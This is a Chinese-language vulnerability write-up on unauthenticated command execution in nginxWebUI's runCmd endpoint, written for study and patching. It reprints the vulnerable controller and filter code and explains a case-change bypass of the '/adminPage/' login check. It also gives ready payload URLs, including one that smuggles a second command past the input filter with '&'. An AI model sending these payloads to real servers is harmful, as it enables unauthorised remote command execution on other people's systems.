nginxWebUI runCmd未授权命令执行漏洞复现
影响版本:
nginxWebUI < 3.5.2 未授权命令执行
3.5.2 < =nginxWebUI <= 3.6.0 后台命令执行
1.简介
nginxWebUI
项目地址:https://gitee.com/cym1102/nginxWebUI
nginxWebUI是一款图形化管理nginx配置得工具, 可以使用网页来快速配置nginx的各项功能, 包括http协议转发, tcp协议转发, 反向代理, 负载均衡, 静态html服务器, ssl证书自动申请、续签、配置等, 配置好后可一建生成nginx.conf文件, 同时可控制nginx使用此文件进行启动与重载, 完成对nginx的图形化控制闭环.
nginxWebUI也可管理多个nginx服务器集群, 随时一键切换到对应服务器上进行nginx配置, 也可以一键将某台服务器配置同步到其他服务器, 方便集群管理.
漏洞描述
nginxWebUI后台提供执行nginx相关命令的接口,由于未对用户的输入过滤不严谨,导致可在后台执行任意命令。最为致命的是,该系统filter权限校验存在绕过,最终导致了未授权命令执行漏洞.
2.漏洞分析
环境搭建不在叙述,直接在gitee上下载源码,然后导入到idea,一键启动即可
3.4.7 之前
首先看一下漏洞点,位于ConfController.java#runCmd方法中
访问路径/adminPage/conf/runCmd,会接收cmd参数,直接拼接到RuntimeUtil.exec()中,造成命令执行
@Controller
@Mapping("/adminPage/conf")
public class ConfController extends BaseController {
......
@Mapping(value = "runCmd")
public JsonResult runCmd(String cmd, String type) {
if (StrUtil.isNotEmpty(type)) {
settingService.set(type, cmd);
}
try {
String rs = "";
if (SystemTool.isWindows()) {
RuntimeUtil.exec("cmd /c start " + cmd); //cmd参数可控,可拼接实现RCE
} else {
rs = RuntimeUtil.execForStr("/bin/sh", "-c", cmd);
}
cmd = "<span class='blue'>" + cmd + "</span>";
if (StrUtil.isEmpty(rs) || rs.contains("已终止进程") //
|| rs.contains("signal process started") //
|| rs.toLowerCase().contains("terminated process") //
|| rs.toLowerCase().contains("starting") //
|| rs.toLowerCase().contains("stopping")) {
return renderSuccess(cmd + "<br>" + m.get("confStr.runSuccess") + "<br>" + rs.replace("\n", "<br>"));
} else {
return renderSuccess(cmd + "<br>" + m.get("confStr.runFail") + "<br>" + rs.replace("\n", "<br>"));
}
} catch (Exception e) {
logger.error(e.getMessage(), e);
return renderSuccess(m.get("confStr.runFail") + "<br>" + e.getMessage().replace("\n", "<br>"));
}
}
此时漏洞的触发条件需要登录到后台,危害并不大,我们现在来看一下它的权限校验代码,位于AppFilter中,可以看到其使用了Solon框架进行开发,Solon 路由器对 url 的匹配默认是 “忽略大小写” 的
看一下doFilter函数,只看登录过滤器,如果请求路径中包含"/adminPage/"而不存在"/lib/"、"/doc/"、"/js/"、"/img/"或者"/css/",则会调用adminInterceptor()函数进行权限验证 ,那我们之前也知道,Solon 路由器对 url 的匹配默认是 “忽略大小写” 的,那么就可以用大小写来绕过权限验证,进而扩大漏洞危害,造成未授权RCE
Payload:http://localhost:8080/AdminPage/conf/runCmd?cmd=whoami
@Override
public void doFilter(Context ctx, FilterChain chain) throws Throwable {
// 全局过滤器
if (!ctx.path().contains("/lib/") //
&& !ctx.path().contains("/js/") //
&& !ctx.path().contains("/doc/") //
&& !ctx.path().contains("/img/") //
&& !ctx.path().contains("/css/")) {
frontInterceptor(ctx);
}
// 登录过滤器
if (ctx.path().contains("/adminPage/") //
&& !ctx.path().contains("/lib/") //
&& !ctx.path().contains("/doc/") //
&& !ctx.path().contains("/js/") //
&& !ctx.path().contains("/img/") //
&& !ctx.path().contains("/css/")) {
if (!adminInterceptor(ctx)) {
// 设置为已处理
ctx.setHandled(true);
return;
}
}
// api过滤器
if (ctx.path().contains("/api/") //
&& !ctx.path().contains("/lib/") //
&& !ctx.path().contains("/doc/") //
&& !ctx.path().contains("/js/") //
&& !ctx.path().contains("/img/") //
&& !ctx.path().contains("/css/")) {
if (!apiInterceptor(ctx)) {
// 设置为已处理
ctx.setHandled(true);
return;
}
}
chain.doFilter(ctx);
}
3.4.7 - 3.5.2
而在3.4.7版本,官方进行了简单的过滤,不过并未完全修复,我们简单看一下源码做了那些修改
首先看一下ConfController#runCmd方法,可以看到其对cmd参数中的"; "、"`"、 "\|"、 "\{"、 "\}"进行了过滤,并且cmd参数中必须存在存在"nginx",显然其过滤的不够彻底,我们可使用 & 绕过,而filter中并未做出修复,所以依旧存在未授权RCE
Payload:http://localhost:8080/AdminPage/conf/runCmd?cmd=calc%26nginx
@Controller
@Mapping("/adminPage/conf")
public class ConfController extends BaseController {
......
@Mapping(value = "runCmd")
public JsonResult runCmd(String cmd, String type) {
if (StrUtil.isNotEmpty(type)) {
settingService.set(type, cmd);
}
try {
String rs = "";
// 过滤特殊字符,防止命令拼接
cmd = cmd.replaceAll(";","\\\\;");
cmd = cmd.replaceAll("`","\\\\`");
cmd = cmd.replaceAll("\\|","\\\\|");
cmd = cmd.replaceAll("\\{","\\\\{");
cmd = cmd.replaceAll("\\}","\\\\}");
//仅执行nginx相关的命令,而不是其他的恶意命令
if(!cmd.contains("nginx")){
cmd = "nginx restart";
}
if (SystemTool.isWindows()) {
RuntimeUtil.exec("cmd /c start " + cmd);
} else {
rs = RuntimeUtil.execForStr("/bin/sh", "-c", cmd);
}
......
}
3.5.2 之后
在此次版本中,对filter权限控制进行了修复,通过diff信息可以看到,对大小写进行了过滤,成功修复了未授权访问的问题。
3.漏洞复现
思考:如果服务器是windows搭建的且不出网,该如何回显数据呢?
3.4.7 之前
Payload:http://localhost:8080/AdminPage/conf/runCmd?cmd=calc
3.4.7 - 3.5.2
Payload:http://localhost:8080/AdminPage/conf/runCmd?cmd=calc%26nginx
4.修复建议
更新至3.6.0以上的版本
Reference
https://gitee.com/cym1102/nginxWebUI